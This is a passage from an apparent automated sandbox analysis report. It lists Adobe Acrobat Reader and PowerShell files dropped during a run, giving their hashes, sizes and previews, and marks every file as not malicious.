SHA-512:	F715EC2FB4AAA0F5131DE93C7234B59814376009194187FAADADF8CE2E5151FC3BC162AB4BF64F2B9D672F08C687D52ECE860A4F8FCB526C4DB54F0D44D35C5D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6c525fc7-4810-436e-afe4-9ff39d55392b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727502022,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.28935895926308
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBXDuHWa0nZiQ0YyXXVeoAvJf+dPeUkwRe9:YvXKXBXDuHF0chXXVVG28Ukee9
MD5:	8F818EBDB250E6252D5B16BA51D2F220
SHA1:	7DF30C439EFE5150C2444FAA9ECC022255FCFCE5
SHA-256:	ABDBF07E42A0BF39C260613341435FC28C2522621173A9DD9296C45B594D815B
SHA-512:	6DE8BD61DA917E959AEF7D917D5CCD84F5DC6FA9273F28586A605D08A2678F179E06906FE6AB4BAD086C26A2635DC148932022CA507F76491B823D4B4F514139
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6c525fc7-4810-436e-afe4-9ff39d55392b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727502022,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2864842974180855
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBXDuHWa0nZiQ0YyXXVeoAvJfbPtdPeUkwRe9:YvXKXBXDuHF0chXXVVGDV8Ukee9
MD5:	14660C6F9846169E5D4B8F899B1A53D4
SHA1:	C1655D7F842B0FF71297D24A680C0F1FEFB4AAA4
SHA-256:	E3766A5D62E03D80D68A9C3F3980A2DB6C73B61F7E5932847F38EFE00AFB4A5B
SHA-512:	480BC90C442D34D184E8CCA511B4BA5D5887A54D21816FBB77C730D2C86A92EB6B977A3E14F588515C868B9FEA5E3C02612C822D4F1DA69BD4CF57DCEB4FD7B0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6c525fc7-4810-436e-afe4-9ff39d55392b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727502022,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.28959217370237
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBXDuHWa0nZiQ0YyXXVeoAvJf21rPeUkwRe9:YvXKXBXDuHF0chXXVVG+16Ukee9
MD5:	68EAD47826C6713B4D4BDF40C3457CDF
SHA1:	EF4945D6D90B8B23CB7573FD0B1F97A47D924502
SHA-256:	6E4ECFB8110A5E094CC1F31C2890FB474F2F7E28B247CCFB2CD4AF0AB6E51675
SHA-512:	AF6123497ECE3A37BE2CDD5154F57DB69F3C2371F40C6D0FB6C42F5596C083573160E014FAA8028387269207F614A223B3798787AB8F2970CC8385A46774A163
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6c525fc7-4810-436e-afe4-9ff39d55392b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727502022,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.663041770399043
Encrypted:	false
SSDEEP:	24:Yv6XBalZhHYamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSr:YvEaEBgkDMUJUAh8cvMr
MD5:	501AA6E58E7524D22FC9F794B4CB0EA8
SHA1:	560740FCD96901DC36947F71FC80B70B934C3402
SHA-256:	8C03DF404DBEBE2258AEEC77C61869BB602EF11F14996866D0E0CD7C4EB80A6A
SHA-512:	E896EE10553D181C00FC588E7A8CDA2F1483BEF23CBF7753FFE2255E521E3B2DBE624D46FC6257AF36707DB792440DF7E5F825EFAFF07D1106077DAE2A4947EC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6c525fc7-4810-436e-afe4-9ff39d55392b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727502022,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.26784415916132
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBXDuHWa0nZiQ0YyXXVeoAvJfshHHrPeUkwRe9:YvXKXBXDuHF0chXXVVGUUUkee9
MD5:	0341885E1CE596F11D0CA124E73C3948
SHA1:	2A4C3DFB848B6A92FD66E5EE26736F0FD61D1CA8
SHA-256:	990C461E23B4D79AD7EE3668F6B50ADA12112BE07D3456A530900A4C726ADB8D
SHA-512:	21C3458477AB60AC206FC4A9B4AABDCA62E769593C71E0CECF5F2AC89892D647F699744CE5162AED56DA69270AB3109996F2897EC8AAAB7096F2152A7D9BFDA3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6c525fc7-4810-436e-afe4-9ff39d55392b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727502022,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.266606301939097
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBXDuHWa0nZiQ0YyXXVeoAvJTqgFCrPeUkwRe9:YvXKXBXDuHF0chXXVVGTq16Ukee9
MD5:	67BD89625E28D4E939CF0575EAEB0A74
SHA1:	2375CBAFBF91FCB702A174855E070354F3256760
SHA-256:	3E31260BB2F817BEEF04798BB691024CCA95ACF5CEF7FCAF40D2F3F3F13D7E40
SHA-512:	6ABD504181985E36F2151F8F9C0F908FFFCEC6066A8FF2646C439BB8F84833908D0EB2DFF951E754497C9907DFE2BCCB48BAE6CAD65D74ECC7087D4D0F7DDD87
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6c525fc7-4810-436e-afe4-9ff39d55392b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727502022,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.135644478148207
Encrypted:	false
SSDEEP:	24:YRtMfnBaeayB3GeNteiXoG14JIcgBBHZB2njASj0SZdyx2GOf2LS7C3yosra5wVt:YPMNgiXom46dTZcrGk1QyosuCY79Rwp
MD5:	7790F4310A71CC25BD00F18D67ABCF3E
SHA1:	F63C3930CCB5C1783E39F2F44F50F8494E5D668C
SHA-256:	3346FAB5751E71F442D8E54FF30A7B5C6A526599B3C35DC95E5C95BA3C6E4661
SHA-512:	C225A67DB23F9687E0760F57D157CA0042CB3158E6D6FDBD8328A1E6426F212986B68B1C8A2A5E224DF180ED6A93BCB862EF0F9D45AAEE85D092AD40E0871DCD
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"26cf5d4af8ece5b1e739780328b09168","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736550621000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"59b50fa613c0e4ce1321675dd6011c5f","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736550621000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"8924d3199cd8f8a0fcfe0b784cf085f4","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736550621000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"1f65f47efeb5c283917f4ec570c4a4ea","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736550621000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"56b07619d6ab07b56e2e445bd5ecca1c","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736550621000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"6fc93f74ad5e9c1b47b17866e492a49e","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1467372713907364
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursS/RZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcd:TFl2GL7msSLXc+XcGNFlRYIX2v3k3N
MD5:	91C35395CF61A5E895E5F8B094A98BF6
SHA1:	BD0F9AA3AA8F40193D048A95D1B656563AAA5978
SHA-256:	0EA9DF19D6CA7DCB830AB3277F3AAA573D9B880E070B704CD5501089DCAF9953
SHA-512:	54D097C44172F1BE485646A77874B6A7362CDC683AA8F1743A71EB7C365C0A202ADA037B353AA6B31E0101EF4AC097625145A13715C33321FC2C605C83A1A2AF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5509621443312676
Encrypted:	false
SSDEEP:	24:7+tvq/UXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxhqLxx/XYR:7MScXc+XcGNFlRYIX2v8qVl2GL7mss
MD5:	1666BDDF72D3492741ABD7FA548D1C10
SHA1:	B877B65D8A6DB6DB8FB43D2A184AE2D55EF85CFB
SHA-256:	A04FD63AE9BC0CE04D88DA740F47ED893DA09832847D6ABF9E18E21A6E1D90B6
SHA-512:	D4C5D682D4CC716495989BD7E652E6CA730E127223EA328DCB6DB48A3579A5D80FCFAAC9CC89DF94D20A9531D5C5F0726BC8FC1B6F3335E51FF5CF75B2E70D24
Malicious:	false
Preview:	.... .c.......3$..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEggyAlhyWYZuak5P6vjg/SVFCPAYyu:6a6TZ44ADEgyU1YZfkwH2AK
MD5:	82E3B3EEA26F811A71D55C9B6F5DA9F2
SHA1:	081E52290A6F28E546358A9DD2D20E230B387259
SHA-256:	BB013A0C9A206EF30BA0B86F7227B8ADFD80EFBA65D8CB995F51DF48B5B94149
SHA-512:	1328C02E48B5B1CF056E55B4168F2F7A5E7D06F8745850900CEE79BE3E4E637E5108C539A30351B55CDD3D8F5400B935093899E7E88DA6C34771C80337304B3E
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSIbdb4f.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.488809521505088
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEFGllSlYH:Qw946cPbiOxDlbYnuRK+bDcWYH
MD5:	772CDBF5D6E6FF1B9DEAB61AA05C34B0
SHA1:	ABF4E6DD06D2E24F42D5221951FB62015D18C76B
SHA-256:	443358660803EB410E3C2811723593C484C269359E3BE4A61736199AFB0E9C39
SHA-512:	54E5A61005653E0D9A3821FAF4851EDE06399EC7A2F99FDC6B6344E1A0DBD7B0DB3AA5E6965E55BE682F2F276D4D072F798CA83DF622C314BFB9E01135CBEF4A
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.8.:.1.0.:.2.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_01zhiinm.1kk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o1l3ylib.lmu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 18-10-14-571.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.373986746054877
Encrypted:	false
SSDEEP:	384:XJqa8aPaEaua1aPyaNa8aKa1azamwGpwSw2kn6DUlFBuMuwuTumu7wamaOaUZghv:XEVkVV4UyUjzCUtDp1nQEQbp56RbxN3S
MD5:	36758B1C75E66F199EBD46CB17C1866B
SHA1:	2889B8B73071B934C7D508CE5178B85F8070BEB3
SHA-256:	D3EB237D15833E5E73ECC68E869344CCEA65D42488F7AB24A806700A6D0EFABE
SHA-512:	267FDBADFE01C6BD5B445D0679FA8C895DA76B6ECC9BCBA1D9CF5797127E89E0BFC30EC4CC7F45E734554D28AE7DA89C449CC820EA35620A4424F725412C950B
Malicious:	false
Preview:	SessionID=3848b747-9b74-4f57-aa5c-56c8b9def297.1736550614582 Timestamp=2025-01-10T18:10:14:582-0500 ThreadID=7456 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=3848b747-9b74-4f57-aa5c-56c8b9def297.1736550614582 Timestamp=2025-01-10T18:10:14:606-0500 ThreadID=7456 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=3848b747-9b74-4f57-aa5c-56c8b9def297.1736550614582 Timestamp=2025-01-10T18:10:14:606-0500 ThreadID=7456 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=3848b747-9b74-4f57-aa5c-56c8b9def297.1736550614582 Timestamp=2025-01-10T18:10:14:606-0500 ThreadID=7456 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=3848b747-9b74-4f57-aa5c-56c8b9def297.1736550614582 Timestamp=2025-01-10T18:10:14:606-0500 ThreadID=7456 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.395908703808305
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbD+cbUICKcbl:V3fOCIdJDe1lCV
MD5:	70179F829BED8D3E23DCDF2E050C9DB0
SHA1:	83A9BDC616B2C04A4ACE32881B947938E62A34E2
SHA-256:	DBF6745582F73F109CFF3CBCAE4B5A545DB894446F2B43E407B27C60064640F1
SHA-512:	F32AFAA0083343856FEAE2405664A545C43F4A011108BA3F641BF255021EAF3BCA9B24AF38C68D91318C71FA38935796EE5BBD32B290F85A48AF88979005CFD0
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\01fdfd75-553f-4d1b-b36c-45e8b0271a48.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\027179a1-2b21-4ef1-9ae4-413cda41177c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
